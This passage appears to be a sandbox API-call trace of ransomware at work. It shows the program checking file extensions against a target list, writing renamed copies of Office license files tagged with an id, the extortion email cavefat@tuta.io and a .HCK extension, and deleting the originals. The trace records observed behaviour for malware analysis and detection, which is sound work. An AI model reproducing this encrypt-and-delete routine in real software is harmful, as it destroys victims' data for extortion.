Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.968] lstrlenW (lpString=".zip") returned 4 [0240.968] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString=".rar") returned 4 [0240.968] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString=".bz2") returned 4 [0240.968] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString=".7z") returned 3 [0240.968] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.968] lstrlenW (lpString=".dbf") returned 4 [0240.968] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.968] lstrlenW (lpString=".1cd") returned 4 [0240.968] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.969] lstrlenW (lpString=".jpg") returned 4 [0240.969] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.969] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0240.969] lstrlenW (lpString="MondoR_BypassTrial180-pl.xrm-ms") returned 31 [0240.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.970] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11175) returned 1 [0240.970] CloseHandle (hObject=0x534) returned 1 [0240.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0240.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.970] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.970] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.971] GetLastError () returned 0x0 [0240.971] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2ba7, lpOverlapped=0x0) returned 1 [0240.974] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0240.974] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.975] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x112, lpOverlapped=0x0) returned 1 [0240.975] SetEndOfFile (hFile=0x4b4) returned 1 [0240.975] CloseHandle (hObject=0x4b4) returned 1 [0240.975] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.975] SetEndOfFile (hFile=0x534) returned 1 [0240.978] CloseHandle (hObject=0x534) returned 1 [0240.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 1 [0240.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.979] lstrlenW (lpString=".doc") returned 4 [0240.979] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.979] lstrlenW (lpString=".docx") returned 5 [0240.979] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.979] lstrlenW (lpString=".pdf") returned 4 [0240.979] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.979] lstrlenW (lpString=".xls") returned 4 [0240.979] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.979] lstrlenW (lpString=".xlsx") returned 5 [0240.979] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.979] lstrlenW (lpString=".ppt") returned 4 [0240.979] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.979] lstrlenW (lpString=".zip") returned 4 [0240.979] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.979] lstrlenW (lpString=".rar") returned 4 [0240.979] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.979] lstrlenW (lpString=".bz2") returned 4 [0240.979] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString=".7z") returned 3 [0240.980] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.980] lstrlenW (lpString=".dbf") returned 4 [0240.980] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.980] lstrlenW (lpString=".1cd") returned 4 [0240.980] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.980] lstrlenW (lpString=".jpg") returned 4 [0240.980] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.980] lstrlenW (lpString=".doc") returned 4 [0240.980] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString=".docx") returned 5 [0240.980] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.980] lstrlenW (lpString=".pdf") returned 4 [0240.980] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString=".xls") returned 4 [0240.980] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString=".xlsx") returned 5 [0240.980] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.980] lstrlenW (lpString=".ppt") returned 4 [0240.980] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.980] lstrlenW (lpString=".zip") returned 4 [0240.980] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString=".rar") returned 4 [0240.980] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString=".bz2") returned 4 [0240.980] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString=".7z") returned 3 [0240.980] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.980] lstrlenW (lpString=".dbf") returned 4 [0240.980] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.980] lstrlenW (lpString=".1cd") returned 4 [0240.980] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0240.980] lstrlenW (lpString=".jpg") returned 4 [0240.980] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.981] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0240.981] lstrlenW (lpString="MondoR_BypassTrial180-ppd.xrm-ms") returned 32 [0240.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.982] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=26538) returned 1 [0240.982] CloseHandle (hObject=0x534) returned 1 [0240.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0240.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.982] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.982] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.983] GetLastError () returned 0x0 [0240.983] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x67aa, lpOverlapped=0x0) returned 1 [0240.986] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0240.987] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.987] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x114, lpOverlapped=0x0) returned 1 [0240.987] SetEndOfFile (hFile=0x4b4) returned 1 [0240.987] CloseHandle (hObject=0x4b4) returned 1 [0240.987] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.987] SetEndOfFile (hFile=0x534) returned 1 [0240.990] CloseHandle (hObject=0x534) returned 1 [0240.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 1 [0240.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.991] lstrlenW (lpString=".doc") returned 4 [0240.991] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.991] lstrlenW (lpString=".docx") returned 5 [0240.991] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.991] lstrlenW (lpString=".pdf") returned 4 [0240.991] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.991] lstrlenW (lpString=".xls") returned 4 [0240.991] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.991] lstrlenW (lpString=".xlsx") returned 5 [0240.991] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.991] lstrlenW (lpString=".ppt") returned 4 [0240.991] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.991] lstrlenW (lpString=".zip") returned 4 [0240.991] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.991] lstrlenW (lpString=".rar") returned 4 [0240.991] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.991] lstrlenW (lpString=".bz2") returned 4 [0240.991] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.991] lstrlenW (lpString=".7z") returned 3 [0240.991] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.991] lstrlenW (lpString=".dbf") returned 4 [0240.991] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.992] lstrlenW (lpString=".1cd") returned 4 [0240.992] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.992] lstrlenW (lpString=".jpg") returned 4 [0240.992] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.992] lstrlenW (lpString=".doc") returned 4 [0240.992] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.992] lstrlenW (lpString=".docx") returned 5 [0240.992] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.992] lstrlenW (lpString=".pdf") returned 4 [0240.992] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.992] lstrlenW (lpString=".xls") returned 4 [0240.992] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.992] lstrlenW (lpString=".xlsx") returned 5 [0240.992] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.992] lstrlenW (lpString=".ppt") returned 4 [0240.992] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.992] lstrlenW (lpString=".zip") returned 4 [0240.992] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.992] lstrlenW (lpString=".rar") returned 4 [0240.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.992] lstrlenW (lpString=".bz2") returned 4 [0240.992] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.992] lstrlenW (lpString=".7z") returned 3 [0240.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.993] lstrlenW (lpString=".dbf") returned 4 [0240.993] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.993] lstrlenW (lpString=".1cd") returned 4 [0240.993] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0240.993] lstrlenW (lpString=".jpg") returned 4 [0240.993] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.993] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0240.993] lstrlenW (lpString="MondoR_BypassTrial180-ul-oob.xrm-ms") returned 35 [0240.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.994] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11623) returned 1 [0240.994] CloseHandle (hObject=0x534) returned 1 [0240.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0240.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.995] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.995] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.996] GetLastError () returned 0x0 [0240.996] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2d67, lpOverlapped=0x0) returned 1 [0241.172] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0241.173] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.173] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x11a, lpOverlapped=0x0) returned 1 [0241.173] SetEndOfFile (hFile=0x4b4) returned 1 [0241.173] CloseHandle (hObject=0x4b4) returned 1 [0241.174] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.174] SetEndOfFile (hFile=0x534) returned 1 [0241.178] CloseHandle (hObject=0x534) returned 1 [0241.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0241.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.180] lstrlenW (lpString=".doc") returned 4 [0241.180] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.180] lstrlenW (lpString=".docx") returned 5 [0241.180] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.180] lstrlenW (lpString=".pdf") returned 4 [0241.180] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.180] lstrlenW (lpString=".xls") returned 4 [0241.180] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.180] lstrlenW (lpString=".xlsx") returned 5 [0241.180] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.180] lstrlenW (lpString=".ppt") returned 4 [0241.180] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.180] lstrlenW (lpString=".zip") returned 4 [0241.180] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.180] lstrlenW (lpString=".rar") returned 4 [0241.180] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.180] lstrlenW (lpString=".bz2") returned 4 [0241.180] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.180] lstrlenW (lpString=".7z") returned 3 [0241.180] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.180] lstrlenW (lpString=".dbf") returned 4 [0241.180] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.180] lstrlenW (lpString=".1cd") returned 4 [0241.180] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.180] lstrlenW (lpString=".jpg") returned 4 [0241.180] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0241.180] lstrlenW (lpString=".doc") returned 4 [0241.180] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.180] lstrlenW (lpString=".docx") returned 5 